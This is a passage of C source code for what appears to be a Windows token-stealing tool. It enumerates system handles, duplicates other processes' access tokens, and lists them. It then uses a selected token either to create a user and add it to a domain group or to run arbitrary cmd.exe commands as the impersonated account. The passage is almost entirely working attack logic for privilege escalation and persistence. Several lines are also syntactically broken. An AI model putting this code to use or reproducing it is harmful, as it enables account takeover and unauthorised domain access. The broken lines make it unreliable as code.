SystemHandleInformationize, &returnLenght); 276 | 277 | for (DWORD i = 0; i < handleTableInformation->NumberOfHandles; i++) 278 | { 279 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; 280 | 281 | HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId); 282 | if(process == INVALID_HANDLE_VALUE) 283 | { 284 | CloseHandle(process); 285 | continue; 286 | } 287 | 288 | HANDLE dupHandle; 289 | if(DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) == 0) 290 | { 291 | CloseHandle(process); 292 | continue; 293 | } 294 | 295 | POBJECT_NAME_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(8192); 296 | if(wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), L"Token")) 297 | { 298 | CloseHandle(process); 299 | CloseHandle(dupHandle); 300 | continue; 301 | } 302 | 303 | TOKEN TOKEN_INFO; 304 | TOKEN_INFO.token_handle = dupHandle; 305 | get_token_owner_info(&TOKEN_INFO); 306 | get_token_user_info(&TOKEN_INFO); 307 | get_token_information(&TOKEN_INFO); 308 | 309 | if(wcscmp(TOKEN_INFO.TokenType, L"TokenPrimary") != 0) 310 | { 311 | get_token_security_context(&TOKEN_INFO); 312 | } else { 313 | wcscpy_s(TOKEN_INFO.TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L" "); 314 | } 315 | 316 | int is_new_token = 0; 317 | for (int j = 0; j <= nbrsfoundtokens; j++) 318 | { 319 | if(wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) == 0 && wcscmp(found_tokens[j].TokenType, TOKEN_INFO,TokenType) == 0 && wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) == 0) 320 | { 321 | is_new_token = 1; 322 | } 323 | } 324 | if(is_new_token == 0) 325 | { 326 | TOKEN_INFO.token_id = nbrsfoundtokens; 327 | found_tokens[nbrsfoundtokens] = TOKEN_INFO; 328 | nbrsfoundtokens += 1; 329 | } 330 | 331 | CloseHandle(process); 332 | 333 | } 334 | 335 | if(wcscmp(argv[1], L"list") == 0) 336 | { 337 | printf("\n+ Listing available tokens\n"); 338 | for (int k = 0; k < nbrsfoundtokens; k++) 339 | { 340 | printf("[ID: %d][SESSION: %d][%ws][%ws] User: %ws\n", found_tokens[k].token_id, found_tokens[k].token_session_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].user_name); 341 | 342 | } 343 | } 344 | 345 | else if((wcscmp(argv[1]), L"adduser") == 0 && argc == 7 || (wcscmp(argv[1], L"exec") == 0 && argc == 4)) 346 | { 347 | int selected_token = _wtoi(argv[2]); 348 | for (int k = 0; k < nbrsfoundtokens; k++) 349 | { 350 | if(found_tokens[k].token_id == selected_token) 351 | { 352 | HANDLE duplicated_token; 353 | if(DuplicateTokenEx(found_tokens[k].token_handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicated_token) != 0) 354 | { 355 | if(wcscmp(argv[1], L"adduser") == 0) 356 | { 357 | printf("\t+ Impersonating %ws\n", found_tokens[k].user_name); 358 | if(ImpersonateLoggedOnUser(duplicated_token) == 0) 359 | { 360 | printf("\t-Impersonation failed with error: %d\n", GetLastError()); 361 | return 1; 362 | } 363 | 364 | wchar_t *group = argv[5]; 365 | wchar_t *server = argv[6]; 366 | USER_INFO_1 ui; 367 | LOCALGROUP_MEMBERS_INFO_3 account; 368 | memset(&ui, 0, sizeof(ui)); 369 | memset(&account, 0, sizeof(account)); 370 | ui.usri1_name = argv[3]; 371 | ui.usri1_password = argv[4]; 372 | ui.usri1_priv = USER_PRIV_USER; 373 | ui.usri1_home_dir = NULL; 374 | ui.usri1_comment = NULL; 375 | ui.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT | UF_DONT_EXPIRE_PASSWD; 376 | ui.usri1_script_path = NULL; 377 | 378 | printf("\t+ Adding user %ls on %ls\n", ui.usri1_name, server); 379 | if(NetUserAdd(server, 1, (LPBYTE)&ui, NULL) !+ NERR_Success) 380 | { 381 | printf("\t- Add user failed with error: %d\n", GetLastError()); 382 | return 1; 383 | } 384 | 385 | printf("\t+ Adding user %ws to domain group %ws\n", ui.usri1_name, group); 386 | if(NetGroupAddUser(server, group, ui.usri1_name) != 0) 387 | { 388 | printf("\t- Add user in domain %ws failed with error: %d\n", server, GetLastError()); 389 | return 1; 390 | } 391 | RevertToSelf(); 392 | } 393 | 394 | if(wcscmp(argv[1], L"exec") == 0) 395 | { 396 | STARTUPINFO si = {}; 397 | PROCESS_INFORMATION pi = {}; 398 | wchar_t command[COMMAND_LENGHT]; 399 | _snwprintf_s(command, COMMAND_LENGHT, L"cmd.exe /c %ws", argv[3]); 400 | if (integrity_level >= SECURITY_MANDATORY_SYSTEM_RID) 401 | { 402 | if(!SetTokenInformation(duplicated_token, TokenSessionId, ¤t_token_session_id, sizeof(DWORD))) 403 | { 404 | printf("\t- Couldnt change token session id w/ error: %d\n", GetLastError()); 405 | } 406 | 407 | printf("\t+ Impersonating %ws and lauching command [%ws] via CreateProcessWithTokenW\n", found_tokens[k].user_name, command); 408 | CreateProcessAsUserW(duplicated_token, NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); 409 | Sleep(2000); 410 | } 411 | 412 | if(integrity_level >= SECURITY_MANDATORY_HIGH_RID && integrity_level < SECURITY_MANDATORY_SYSTEM_RID) 413 | { 414 | printf("\t+ Impersonating %ws and lauching command [%ws] via CreateProcessWithTokenW\n", found_tokens[k].user_name, command); 415 | CreateProcessWithTokenW(duplicated_token, 0, NULL, command, 0, 0, 0, &si, &pi); 416 | } 417 | } 418 | 419 | CloseHandle(duplicated_token); 420 | } else { 421 | printf("- Duplication failed with error: %d\n", GetLastError()); 422 | return 1; 423 | } 424 | } 425 | } 426 | } else { 427 | usage(); 428 | } 429 | 430 | return 0; 431 | } 432 | --------------------------------------------------------------------------------